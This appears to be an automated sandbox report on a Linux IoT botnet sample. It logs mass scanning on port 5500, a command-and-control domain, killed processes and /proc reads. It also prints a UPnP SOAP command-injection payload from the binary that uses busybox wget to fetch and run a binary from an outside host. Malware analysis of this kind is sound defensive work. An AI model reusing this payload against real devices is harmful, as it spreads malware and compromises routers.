Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.67.145.55:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.206.33.21:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.229.110.130:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.16.70.228:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.23.17.106:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.157.11.9:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.183.43.25:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.187.154.241:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.186.37.105:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.251.101.154:5500
Source: global traffic TCP traffic: 192.168.2.14:48770 -> 5.181.156.131:2609
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.114.71.79:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.213.110.201:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.94.142.134:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.78.129.68:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.175.57.9:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.34.204.210:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.50.4.30:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.13.203.71:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.110.10.249:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.67.255.201:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.40.39.49:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.17.182.93:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.53.232.202:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.136.245.182:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.159.160.245:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.21.103.206:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.130.229.238:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.38.230.108:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.177.179.129:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.202.166.22:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.22.225.121:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.22.140.216:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.203.236.212:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.249.41.22:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.188.166.34:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.80.137.167:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.138.112.170:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.84.134.227:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.78.167.99:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.246.136.143:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.154.4.244:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.150.209.179:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.39.213.173:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.171.2.46:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.199.193.88:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.254.170.111:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.166.78.227:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.128.135.215:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.40.189.65:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.236.160.244:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.226.209.77:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.95.197.59:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.122.90.16:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.220.57.141:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.109.44.91:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.27.63.214:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.158.127.166:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.102.58.205:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.98.63.82:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.35.153.40:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.203.173.102:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.206.154.206:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.33.104.110:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.22.210.187:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.136.96.192:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.2.162.5:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.129.52.174:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.13.246.50:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.231.23.91:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.211.218.48:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.237.172.222:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.212.63.49:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.214.163.116:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.66.165.145:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.247.58.15:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.211.49.210:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.187.172.169:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.50.50.85:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.204.88.132:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.203.152.41:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.196.238.115:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.188.195.230:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.19.65.64:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.12.48.156:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.176.126.138:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.159.184.237:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.131.172.135:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.251.15.246:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.77.203.221:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.247.50.149:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.6.225.204:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.14.18.16:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.97.175.129:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.162.199.7:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.58.119.99:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.27.43.167:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.24.23.240:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.144.147.174:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.237.200.59:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.113.137.13:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.107.68.48:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.162.212.142:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.98.91.165:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.155.16.217:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.75.254.34:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.3.155.251:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.99.205.165:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.77.85.173:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.123.13.78:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.74.21.79:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.162.127.112:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.66.219.139:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.157.183.30:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.74.45.4:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.31.86.243:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.70.214.47:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.224.37.113:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.34.37.171:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.168.175.67:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.96.65.60:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.50.48.88:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.134.61.63:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.203.214.75:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.199.37.214:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.194.73.12:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.21.55.151:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.185.158.119:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.85.112.130:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.144.215.37:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.138.91.48:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.131.25.100:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.174.31.169:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.47.127.72:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.210.238.114:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.18.68.147:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.72.240.228:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.252.53.47:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.247.210.236:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.153.113.118:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.97.28.120:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.252.24.164:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.186.83.161:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.139.23.134:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.72.121.199:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.96.31.131:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.175.1.135:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.128.56.77:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.4.23.187:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 117.235.133.9:5500
Source: /tmp/RjeN8EvCIF.elf (PID: 5494) Socket: 127.0.0.1::41537 Jump to behavior
Source: unknown DNS traffic detected: queries for: cnc.chromies.cf
Source: unknown TCP traffic detected without corresponding DNS query: 213.32.69.220
Source: unknown TCP traffic detected without corresponding DNS query: 213.177.119.220
Source: unknown TCP traffic detected without corresponding DNS query: 213.141.55.51
Source: unknown TCP traffic detected without corresponding DNS query: 213.90.97.188
Source: unknown TCP traffic detected without corresponding DNS query: 213.149.97.52
Source: unknown TCP traffic detected without corresponding DNS query: 213.76.85.18
Source: unknown TCP traffic detected without corresponding DNS query: 213.65.96.54
Source: unknown TCP traffic detected without corresponding DNS query: 213.36.60.166
Source: unknown TCP traffic detected without corresponding DNS query: 213.230.27.90
Source: unknown TCP traffic detected without corresponding DNS query: 213.152.60.218
Source: unknown TCP traffic detected without corresponding DNS query: 213.203.54.183
Source: unknown TCP traffic detected without corresponding DNS query: 213.169.94.131
Source: unknown TCP traffic detected without corresponding DNS query: 213.93.34.89
Source: unknown TCP traffic detected without corresponding DNS query: 213.165.183.28
Source: unknown TCP traffic detected without corresponding DNS query: 213.12.95.34
Source: unknown TCP traffic detected without corresponding DNS query: 213.204.129.35
Source: unknown TCP traffic detected without corresponding DNS query: 213.141.161.101
Source: unknown TCP traffic detected without corresponding DNS query: 213.19.141.143
Source: unknown TCP traffic detected without corresponding DNS query: 213.174.197.96
Source: unknown TCP traffic detected without corresponding DNS query: 213.123.56.242
Source: unknown TCP traffic detected without corresponding DNS query: 213.177.152.162
Source: unknown TCP traffic detected without corresponding DNS query: 213.175.207.0
Source: unknown TCP traffic detected without corresponding DNS query: 213.7.0.141
Source: unknown TCP traffic detected without corresponding DNS query: 213.148.30.178
Source: unknown TCP traffic detected without corresponding DNS query: 213.173.204.224
Source: unknown TCP traffic detected without corresponding DNS query: 213.163.120.254
Source: unknown TCP traffic detected without corresponding DNS query: 213.98.198.43
Source: unknown TCP traffic detected without corresponding DNS query: 213.136.178.23
Source: unknown TCP traffic detected without corresponding DNS query: 213.91.85.151
Source: unknown TCP traffic detected without corresponding DNS query: 213.92.116.120
Source: unknown TCP traffic detected without corresponding DNS query: 213.209.71.132
Source: unknown TCP traffic detected without corresponding DNS query: 213.91.136.117
Source: unknown TCP traffic detected without corresponding DNS query: 213.53.30.114
Source: unknown TCP traffic detected without corresponding DNS query: 213.66.111.218
Source: unknown TCP traffic detected without corresponding DNS query: 213.191.39.71
Source: unknown TCP traffic detected without corresponding DNS query: 213.139.248.127
Source: unknown TCP traffic detected without corresponding DNS query: 213.97.63.123
Source: unknown TCP traffic detected without corresponding DNS query: 213.165.204.6
Source: unknown TCP traffic detected without corresponding DNS query: 213.45.188.100
Source: unknown TCP traffic detected without corresponding DNS query: 213.60.235.157
Source: unknown TCP traffic detected without corresponding DNS query: 213.108.199.77
Source: unknown TCP traffic detected without corresponding DNS query: 213.79.177.159
Source: unknown TCP traffic detected without corresponding DNS query: 213.148.224.6
Source: unknown TCP traffic detected without corresponding DNS query: 213.123.242.64
Source: unknown TCP traffic detected without corresponding DNS query: 213.130.107.69
Source: unknown TCP traffic detected without corresponding DNS query: 213.16.218.90
Source: unknown TCP traffic detected without corresponding DNS query: 213.146.112.229
Source: unknown TCP traffic detected without corresponding DNS query: 213.182.43.65
Source: unknown TCP traffic detected without corresponding DNS query: 213.127.179.96
Source: unknown TCP traffic detected without corresponding DNS query: 213.79.150.3
Source: RjeN8EvCIF.elf String found in binary or memory: http://scan.chromies.cf/9x83HE5AFD/arm7.jade
Source: RjeN8EvCIF.elf String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: RjeN8EvCIF.elf String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

System Summary

barindex
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) SIGKILL sent: pid: 3129, result: successful Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) SIGKILL sent: pid: 3184, result: successful Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) SIGKILL sent: pid: 3187, result: successful Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) SIGKILL sent: pid: 3188, result: successful Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) SIGKILL sent: pid: 3189, result: successful Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) SIGKILL sent: pid: 3190, result: successful Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) SIGKILL sent: pid: 3193, result: successful Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) SIGKILL sent: pid: 3207, result: successful Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) SIGKILL sent: pid: 3215, result: successful Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) SIGKILL sent: pid: 3341, result: successful Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) SIGKILL sent: pid: 5502, result: successful Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) SIGKILL sent: pid: 5510, result: successful Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) SIGKILL sent: pid: 5511, result: successful Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) SIGKILL sent: pid: 5512, result: successful Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) SIGKILL sent: pid: 5513, result: successful Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) SIGKILL sent: pid: 5514, result: successful Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) SIGKILL sent: pid: 5515, result: successful Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) SIGKILL sent: pid: 5533, result: successful Jump to behavior
Source: ELF static info symbol of initial sample .symtab present: no
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) SIGKILL sent: pid: 3129, result: successful Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) SIGKILL sent: pid: 3184, result: successful Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) SIGKILL sent: pid: 3187, result: successful Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) SIGKILL sent: pid: 3188, result: successful Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) SIGKILL sent: pid: 3189, result: successful Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) SIGKILL sent: pid: 3190, result: successful Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) SIGKILL sent: pid: 3193, result: successful Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) SIGKILL sent: pid: 3207, result: successful Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) SIGKILL sent: pid: 3215, result: successful Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) SIGKILL sent: pid: 3341, result: successful Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) SIGKILL sent: pid: 5502, result: successful Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) SIGKILL sent: pid: 5510, result: successful Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) SIGKILL sent: pid: 5511, result: successful Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) SIGKILL sent: pid: 5512, result: successful Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) SIGKILL sent: pid: 5513, result: successful Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) SIGKILL sent: pid: 5514, result: successful Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) SIGKILL sent: pid: 5515, result: successful Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) SIGKILL sent: pid: 5533, result: successful Jump to behavior
Source: Initial sample String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g scan.chromies.cf -l /tmp/binary -r /9x83HEAFD/mips.jade; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: classification engine Classification label: mal76.spre.troj.linELF@0/0@1/0
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5514) Directory: /home/saturnino/.cache Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5514) Directory: /home/saturnino/.local Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5514) Directory: /home/saturnino/.config Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/xfconf/xfconfd (PID: 5533) Directory: /home/saturnino/.cache Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/xfconf/xfconfd (PID: 5533) Directory: /home/saturnino/.local Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/xfconf/xfconfd (PID: 5533) Directory: /home/saturnino/.config Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/xfconf/xfconfd (PID: 5533) Directory: /home/saturnino/.config Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/3760/cmdline Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/3760/maps Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/3760/exe Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/3761/cmdline Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/3761/maps Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/3761/exe Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/2672/cmdline Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/2672/maps Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/2672/exe Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/1583/cmdline Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/1583/maps Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/1583/exe Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/3244/cmdline Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/3244/maps Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/3244/exe Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/3120/cmdline Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/3120/maps Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/3120/exe Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/3361/cmdline Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/3361/maps Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/3361/exe Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/3239/cmdline Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/3239/maps Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/3239/exe Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/1577/cmdline Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/1577/maps Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/1577/exe Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/1610/cmdline Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/1610/maps Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/1610/exe Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/512/cmdline Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/512/maps Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/512/exe Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/1299/cmdline Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/1299/maps Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/1299/exe Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/3235/cmdline Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/3235/maps Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/3235/exe Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/514/cmdline Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/514/maps Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/514/exe Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/5533/cmdline Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/5533/maps Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/5533/exe Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/519/cmdline Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/519/maps Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/519/exe Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/2946/cmdline Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/2946/maps Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/2946/exe Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/917/cmdline Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/917/maps Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/917/exe Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/3134/cmdline Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/3134/maps Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/3134/exe Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/1593/cmdline Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/1593/maps Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/1593/exe Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/3011/cmdline Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/3011/maps Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/3011/exe Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/3094/cmdline Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/3094/maps Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/3094/exe Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/2955/cmdline Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/2955/maps Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/2955/exe Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/3406/cmdline Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/3406/maps Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/3406/exe Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/1589/cmdline Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/1589/maps Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/1589/exe Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/3129/cmdline Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/3129/maps Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/3129/exe Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/1588/cmdline Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/1588/maps Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/1588/exe Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/3402/cmdline Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/3402/maps Jump to behavior
